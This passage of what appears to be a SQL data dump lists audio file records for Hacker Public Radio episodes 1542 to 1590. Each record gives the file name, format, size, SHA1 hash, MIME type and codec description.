(1542,'hpr1542.mp3','mp3',5992989,'99ee53b3f463748852d7013be57f6893b81b9448','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1542,'hpr1542.ogg','ogg',6884066,'20129065764f830ce81d0b422341557b8ed321eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1542,'hpr1542.spx','spx',2676242,'79d264e12729716ad9af9793862a46908bdf3902','application/ogg; charset=binary','Ogg data, Speex audio'),
(1543,'hpr1543.mp3','mp3',9239870,'e34cea2f46bea63cbd8db740700bbe20b80bf085','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1543,'hpr1543.ogg','ogg',10065624,'96d8d58d5c708f64d0e37c07a4662af789095b34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1543,'hpr1543.spx','spx',4126384,'29ddab250a1e283c0438d84e7b3c6feb4521e485','application/ogg; charset=binary','Ogg data, Speex audio'),
(1544,'hpr1544.mp3','mp3',2118104,'a1ec4f09ea224a4da6bd007c4f88252dae4fc143','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1544,'hpr1544.ogg','ogg',2430528,'236df38148652a14b31f52c863282da903881749','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1544,'hpr1544.spx','spx',945708,'4b2e6aa17bd251c3cd5a2295741742e03d0ffe93','application/ogg; charset=binary','Ogg data, Speex audio'),
(1545,'hpr1545.mp3','mp3',9479842,'d4d3c02fd501bab78dd855fed979c697e4c6e50a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1545,'hpr1545.ogg','ogg',11553939,'87038d74b97ddb32cc8a89923fa3fb5bee409cdf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1545,'hpr1545.spx','spx',4233492,'35b9c5c5c6ce3312200379bbca63a3b35f8c441e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1546,'hpr1546.mp3','mp3',45920486,'ae2ccf10229ae9869e85c4f4d1ffeda0ef5e2f53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1546,'hpr1546.ogg','ogg',43580847,'dc82395a3ccc755b95cea9a6795c390669abfcd6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1546,'hpr1546.spx','spx',20508355,'8404077531000260440d18604a0d31e34829a58b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1547,'hpr1547.mp3','mp3',7384796,'914a64e145359e5db8a26266d1b24562e6ab80c7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1547,'hpr1547.ogg','ogg',7790276,'23d6bfd056f0dd7572b66654405122e38bdff839','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1547,'hpr1547.spx','spx',3297870,'4838444f4604f677f61736cd2cfb33d7555d3ddf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1548,'hpr1548.mp3','mp3',14247895,'17a640bba64855b3f515e37e85321affbdea4c25','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1548,'hpr1548.ogg','ogg',11487222,'952c824da92232bf4074e3ec6389ea0aa19f4d1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1548,'hpr1548.spx','spx',6362981,'2fceaac6d861520d0922deecfe1894a921660e95','application/ogg; charset=binary','Ogg data, Speex audio'),
(1549,'hpr1549.mp3','mp3',12060286,'8fe91043c91874cd151e6bc9b73b2fe49ea5fa58','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1549,'hpr1549.ogg','ogg',14119827,'3a40ebac001be4f75d0267fccbc6a7fd030108d5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1549,'hpr1549.spx','spx',5385900,'48e0e879fe9c3271c5078615b17d74c666c7827f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1550,'hpr1550.mp3','mp3',3813188,'821433a97e0f1141d8b25974ef274b61cea87100','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1550,'hpr1550.ogg','ogg',4241642,'13aaaa528b854124cfd054dc91343461ab087c36','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1550,'hpr1550.spx','spx',1702753,'5f761907e6605e3d1f17a12671f8b5d10c38cd6a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1551,'hpr1551.mp3','mp3',4086219,'2aca660829aeb90836bcf13f1c13dd40422ad7d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1551,'hpr1551.ogg','ogg',4406509,'0a87fc7b0f377ada402813b2e0e8d3c07ac416ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1551,'hpr1551.spx','spx',1824655,'79b21028dc7447ca395380e4da69a45f31b0b665','application/ogg; charset=binary','Ogg data, Speex audio'),
(1552,'hpr1552.mp3','mp3',2137748,'fa67b732e4a5f7c20e6b68155a1cf3a2a6badc7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1552,'hpr1552.ogg','ogg',2419322,'ae71cae33d2f0f5f1f84b5bffc6cacd485f9b0f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1552,'hpr1552.spx','spx',954424,'1bd79135909e9c661bc91b06a223b190bc2ff6c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1553,'hpr1553.mp3','mp3',32625149,'4b051b5eb094d37ded7abe9ceca8d376a40af88f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1553,'hpr1553.ogg','ogg',32451173,'40829c1aeffba3ea8ebabef90336c9f8167b01d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1553,'hpr1553.spx','spx',14570439,'13b3e8b6322a37eb020aa91e7a9446268d2c6ca9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1554,'hpr1554.mp3','mp3',36387675,'a8d9777519840357a2b5549868b6aef963bd1357','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1554,'hpr1554.ogg','ogg',38879915,'51a2ef0ce7e9729df571645f53b6ed620cf0c26d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1554,'hpr1554.spx','spx',16250907,'75eaab6d203de4af13eee9b52144fd88c21c5a46','application/ogg; charset=binary','Ogg data, Speex audio'),
(1555,'hpr1555.mp3','mp3',7057541,'4ce004b46279b708df8e4052cafd502e62c57f43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1555,'hpr1555.ogg','ogg',8380129,'175d37a06651a0ab63ffb8e2ded7540443832d2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1555,'hpr1555.spx','spx',3151737,'77fbf59902a762f454440ac0b8fedd68eb3ecb0c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1556,'hpr1556.mp3','mp3',6320772,'1fcb95441c186022eba843978ce1cec77c749083','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1556,'hpr1556.ogg','ogg',6736029,'c682d42c74afec9af1f066cf8c3499e87b939595','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1556,'hpr1556.spx','spx',2823251,'327c4a2599aa371587ecf5822ad054cdecae2703','application/ogg; charset=binary','Ogg data, Speex audio'),
(1557,'hpr1557.mp3','mp3',14926261,'00d63e32b87456edc11a6fde5669b96d175681aa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1557,'hpr1557.ogg','ogg',18710166,'6378a1efce45df4bb88078488f7a22caef343c07','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1557,'hpr1557.spx','spx',6665975,'77b2a3d1f47c76ec185c790671bbf666d975c33b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1558,'hpr1558.mp3','mp3',12051037,'b68ca7ae04e13a966c9936f6ee5cf1c59e7eb6a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1558,'hpr1558.ogg','ogg',9812870,'c26ee7655dd6d5429547bfbc5cab6a5eaa5f05b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1558,'hpr1558.spx','spx',5382824,'979bda80003687811e7aab7c885e627fa4264407','application/ogg; charset=binary','Ogg data, Speex audio'),
(1559,'hpr1559.mp3','mp3',12327375,'798cf61003114b0a08263bab19530f6648e39ade','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1559,'hpr1559.ogg','ogg',9899698,'75627b4115f9b9e5ef9cbff4be70518271f3a8f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1559,'hpr1559.spx','spx',5505270,'146bcb7bd161f123608011462df12a455b12342d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1560,'hpr1560.mp3','mp3',1701240,'b851504845fa058f63275dabc5d192887b962d30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1560,'hpr1560.ogg','ogg',1893281,'68b9a7858974dcc7aa5e5c573e47074d70200a3b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1560,'hpr1560.spx','spx',759532,'459a8b8c30d3a95d900cb434cbea60326220c269','application/ogg; charset=binary','Ogg data, Speex audio'),
(1561,'hpr1561.mp3','mp3',3562987,'e49c91d06fd24abc915ed1409ceb811d43952ad3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1561,'hpr1561.ogg','ogg',3860186,'b80ca99d5c265c16a07a67c7447646fc6e885b89','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1561,'hpr1561.spx','spx',1590952,'f29f34c3ba8bd16bebcb77ef2b3aa5ec74e0a81c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1562,'hpr1562.mp3','mp3',3665379,'fecc99e648c90658ac74b48518744470fd3c2b21','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1562,'hpr1562.ogg','ogg',3901799,'2b1b3c17d3a0ea051fc67cef3e3b060e401278da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1562,'hpr1562.spx','spx',1636681,'afa16130e5ef56efa7e708621f13f418b390b7ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(1563,'hpr1563.mp3','mp3',7694518,'5fec4a587383d89f9b1e755d695d645482ac3867','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1563,'hpr1563.ogg','ogg',8890893,'9f7d3516a10345b7fbaf1e2f123d276979165553','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1563,'hpr1563.spx','spx',3436118,'fd824141ccae14335ccf71a1c395ba6731f15f0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1564,'hpr1564.mp3','mp3',2636179,'da496e2b8dd1e7072c07763dfc2e72e3b0e623db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1564,'hpr1564.ogg','ogg',3013176,'3972d7d5fdcb38b698d76bc1219d161edeea108b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1564,'hpr1564.spx','spx',1177091,'2e710e211eb03095c9085a9f7cf5923f64616065','application/ogg; charset=binary','Ogg data, Speex audio'),
(1565,'hpr1565.mp3','mp3',6349749,'15dc0d8474ba202424c6cee9bd928ed931913abd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1565,'hpr1565.ogg','ogg',7640954,'658d9e0caa341897a72b9cfdc5ef247855fb0ba8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1565,'hpr1565.spx','spx',2835543,'fa1a85c1b3e4dec2998cfec3896d3a72c83a63e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1566,'hpr1566.mp3','mp3',18807207,'bcb020104f763ecfca701389be6e92f188ad1dfa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1566,'hpr1566.ogg','ogg',16415367,'76c21f4e25bbdc099370f556caf21d2aeab9cea8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1566,'hpr1566.spx','spx',8399219,'cf6297ccab7a8e67e91aaf56bca40840e2cd868b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1567,'hpr1567.mp3','mp3',8166390,'979ead061f069f757eafaf6507db4e121f6bc48c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1567,'hpr1567.ogg','ogg',7974994,'6077d045b13a44dccb12b77e13f2ee161504320e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1567,'hpr1567.spx','spx',3646843,'20084aaeec0defc87532cce03ace18306dd36db3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1568,'hpr1568.mp3','mp3',3194997,'a0f0cd004e19691582d2fcaea8052f834d9cb12d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1568,'hpr1568.ogg','ogg',3473440,'456b226888fcf9dee8d765844bbbcdedc9b7858e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1568,'hpr1568.spx','spx',1426622,'cf4b7d4983fc11b916436fcaad4b97bfa4df0484','application/ogg; charset=binary','Ogg data, Speex audio'),
(1569,'hpr1569.mp3','mp3',11539739,'352095abad36e2a8cbd268334fcb770d603bde0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1569,'hpr1569.ogg','ogg',12021426,'3ba75dfda01291ca349d8ddef10e7ad83d0895a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1569,'hpr1569.spx','spx',5153402,'6c1e75d8ebd72ff5895813d7ae5eb691130b852a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1570,'hpr1570.mp3','mp3',2635723,'b607934f18efc7477c34a162895c3ccffbb45dd5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1570,'hpr1570.ogg','ogg',2931014,'4e7a0edc478804dc063d37489cd3275ecaa15ab5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1570,'hpr1570.spx','spx',1176840,'0f0bd6e6f1c13a4694191b1a17e408bbcd466ffa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1571,'hpr1571.mp3','mp3',4996988,'296182628a7dead054f11049b042cc7cb60b97a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1571,'hpr1571.ogg','ogg',4782957,'955f789aed9e75f84c15045450ad473741c210de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1571,'hpr1571.spx','spx',2231341,'91aaf5cd0ce571ada7e18f0ea4afc65d9396b215','application/ogg; charset=binary','Ogg data, Speex audio'),
(1572,'hpr1572.mp3','mp3',2298468,'58b20a8a992e52d0f21128b2809ad691a87b99d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1572,'hpr1572.ogg','ogg',2635204,'7b57f121a75fda99e945424862f40af11fa1abc3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1572,'hpr1572.spx','spx',1026238,'16b0e69abb68193977daec0336e8661dbd171ca6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1573,'hpr1573.mp3','mp3',2387890,'bd5bccebf1deedca30fa64d814848d9a7261dcf0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1573,'hpr1573.ogg','ogg',2571933,'57c68209b5e727ad070cee055067073682703b0a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1573,'hpr1573.spx','spx',1066149,'735e31c15371a74517c8be6b7e182f47e8c666ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(1574,'hpr1574.mp3','mp3',4934287,'601b832ef4f7b46d1e6cbdfdf557b8dfb5e731d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1574,'hpr1574.ogg','ogg',4094566,'c28bb92f43a1639679bda1a85881c65045cda227','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1574,'hpr1574.spx','spx',2203384,'fc882ba5890665a03170461e378f88be5a7e4d89','application/ogg; charset=binary','Ogg data, Speex audio'),
(1575,'hpr1575.mp3','mp3',5714246,'094ccc9d40f50ca7644e7724b8044a6439db5dc8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1575,'hpr1575.ogg','ogg',6759978,'9ff2c74bd83cf2b86cad3b18dd082241c785d821','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1575,'hpr1575.spx','spx',2551797,'05b93e31926e7f9c1754bdb15cd362bab9f44df4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1576,'hpr1576.mp3','mp3',13396705,'a809025221fa86c464a8af91d793b3c93a9a2c6d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1576,'hpr1576.ogg','ogg',15335040,'6acec919aac7100718e6477914f247a5616543d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1576,'hpr1576.spx','spx',5982845,'12b6cac303f1fb89280f4a87abdb8a49bcf678ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1577,'hpr1577.mp3','mp3',7489882,'29e90cdb1bb18bb8e9ee46668f895986a03d6af6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1577,'hpr1577.ogg','ogg',8924233,'bd327050335b98a757318f70c35f456afe4f06ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1577,'hpr1577.spx','spx',3344831,'216ba6c5cd723fc2f0678c62f18b4540f87c65e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1578,'hpr1578.mp3','mp3',57711246,'7fef693361afc9a9e0592ddfbc680c525e37f29e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1578,'hpr1578.ogg','ogg',61502455,'5e1f21cf024d039988c98b81a19d0d27d3a7d2da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1578,'hpr1578.spx','spx',25774199,'a8161a230b4195fff1a171dd4835ee33b552f6d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1579,'hpr1579.mp3','mp3',3766114,'7b92c1c2ff80443db223ed7971d985b0b8c9e874','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1579,'hpr1579.ogg','ogg',3600052,'10edfada0f13db812fab5be45ef24e661d78e5dc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1579,'hpr1579.spx','spx',1681688,'f4309e42eba8c1ef5e9d01fac9fb00e735b5a6b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1580,'hpr1580.mp3','mp3',4511952,'31a02b07eab9f69a0a648eb522a2e0a3fceeceb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1580,'hpr1580.ogg','ogg',4985918,'5f849a1df7475be770a9d6770e15e0d88f592095','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1580,'hpr1580.spx','spx',2014742,'cc115a8c068b05ca0edca0382ffa7f64a31cad79','application/ogg; charset=binary','Ogg data, Speex audio'),
(1581,'hpr1581.mp3','mp3',13591724,'c3eb0f9549c3c5beb0a34cf3d98f83523aabb84b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1581,'hpr1581.ogg','ogg',16728287,'4be8d2695d2771bc72a9b07bd497ad866227cd82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1581,'hpr1581.spx','spx',6069922,'cd412821fca4f173454512907f238d39e4cba26b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1582,'hpr1582.mp3','mp3',2433260,'7a2e9fd8b93f73c6e24250fd079f674b0a6a4528','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1582,'hpr1582.ogg','ogg',2817845,'7033eeb8975fd177dfe9c199ce1fe4b28b3743ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1582,'hpr1582.spx','spx',1086469,'af8fc5e769301372f444d2a3f4defe3f7aca7f21','application/ogg; charset=binary','Ogg data, Speex audio'),
(1583,'hpr1583.mp3','mp3',1792069,'082f94877689a4a53c5907675174dc7b88a53426','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1583,'hpr1583.ogg','ogg',2035012,'3df1b3802b14da09e7c70c40d30fa2acc9924fca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1583,'hpr1583.spx','spx',800029,'3b7155c64f9ab46586cf4873a6009eafb2b2793c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1584,'hpr1584.mp3','mp3',25329049,'1eb14d6987820f3100dc8e9df4bf773ee7aa8b97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1584,'hpr1584.ogg','ogg',25718541,'ec69724193f1043e08f4a1f399bd901c2af8e627','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1584,'hpr1584.spx','spx',11311902,'c5ecf3697d30786a857263267144c2a04c019d4c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1585,'hpr1585.mp3','mp3',10772189,'e2c00d04baeb420103b613417cbcf00f810d47a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1585,'hpr1585.ogg','ogg',12807211,'01ef20befa0f7318495a852d0c6ffc53eb426c2e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1585,'hpr1585.spx','spx',4810704,'24e2b15d1a686c6455504449699502f1ae1049e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1586,'hpr1586.mp3','mp3',34345110,'3187c8c2a9202f6f59191a0de5921a38a644f49a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1586,'hpr1586.ogg','ogg',32240064,'3f8060d6c56588f2092d5cdb8b05b91571289b28','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1586,'hpr1586.spx','spx',15338604,'c56aa877f1bdfeaf0e481548c379139bb71f344d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1587,'hpr1587.mp3','mp3',14476294,'4b898a5be0f2f7b4c29ee287c8140481f0aa0ad4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1587,'hpr1587.ogg','ogg',16175358,'dd66737eb82a81896b104442054bbb49e3968fcd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1587,'hpr1587.spx','spx',6465030,'bca6b9c86782f10a4c61e6b4931f399cc34dcae0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1588,'hpr1588.mp3','mp3',71618838,'1df76dd80e12a62a0a8f4b9c081d1f40f182076b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1588,'hpr1588.ogg','ogg',77436871,'78e1ab51ca6c4fce31464ff83d6df4ed995b5f34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1588,'hpr1588.spx','spx',31985506,'6f40ef446021645a53d67fe0498fab0a958aef7e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1589,'hpr1589.mp3','mp3',21999280,'a94728027256527705f2d5c3746ed43e5a0d8160','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1589,'hpr1589.ogg','ogg',19155018,'4c9c99d693dc9d7d4c571bdbe6ae8198858d5908','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1589,'hpr1589.spx','spx',9824854,'9e22e098a278288e07cdec15280dca8b18706204','application/ogg; charset=binary','Ogg data, Speex audio'),
(1590,'hpr1590.mp3','mp3',2616706,'3f52cd84b8475b26dae6ff495568495f3adc3e06','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
